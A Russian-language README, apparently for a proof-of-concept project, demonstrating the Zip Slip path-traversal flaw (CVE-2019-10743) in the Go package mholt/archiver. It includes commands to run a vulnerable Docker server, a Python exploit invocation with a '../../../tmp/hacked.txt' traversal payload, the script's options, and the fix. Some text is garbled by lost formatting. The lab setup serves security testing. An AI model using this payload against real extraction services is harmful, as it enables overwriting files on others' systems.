
Эксплойт, подтверждающий концепцию, демонстрирующий уязвимость Zip Slip (CVE-2019-10743) в mholt/archiver, с уязвимым сервером и Python-полезной нагрузкой для тестирования обхода пути.
Этот проект демонстрирует уязвимость Zip Slip (CVE-2019-10743) с использованием уязвимой версии пакета mholt/archiver.
Zip Slip — уязвимость, обнаруженная исследователями безопасности из Snyk. Было выявлено, что уязвимость затрагивает множество пакетов, используемых в реальных проектах. Эксплуатация уязвимости может привести к таким проблемам, как:
mholt/archiver — это пакет Go, который предоставляет простой и единообразный API для работы с архивными и сжатыми файлами. Он поддерживает такие форматы, как , , , или .
.zip.tar.tar.gz.7z.rarmholt/archiver../../../../../tmp/hacked.txt)# Запустить уязвимый сервер
./docker-run.sh start
# Остановить сервер
./docker-run.sh stop
# Просмотреть логи
./docker-run.sh logs
# Очистить
./docker-run.sh cleanup
Примечание: Убедитесь, что docker-run.sh имеет права на выполнение:
# Дать права на выполнение
chmod +x ./docker-run.sh
После запуска контейнера вы можете использовать команду, подобную этой, чтобы получить доступ к тестовой среде:
# Подключиться к контейнеру, в котором запущено приложение
docker exec -it zipslip-vulnerable-server /bin/bash
# Установить зависимости Python
pip3 install -r requirements.txt
# Выполнить эксплойт
python3 test_exploit.py -p "../../../../../../tmp/hacked.txt" -c "You were pwned!"
Примечание: Команды должны выполняться внутри контейнера.
-u, --url: URL сервера (по умолчанию: http://localhost:8080)-z, --zip: Имя ZIP-файла (по умолчанию: malicious_test.zip)-p, --path: Имя файла с обходом пути (по умолчанию: ../../../malicious_escaped.txt)-c, --content: Содержимое файлаЧтобы исправить эту уязвимость:
mholt/archiver версии 3.3.2 или новее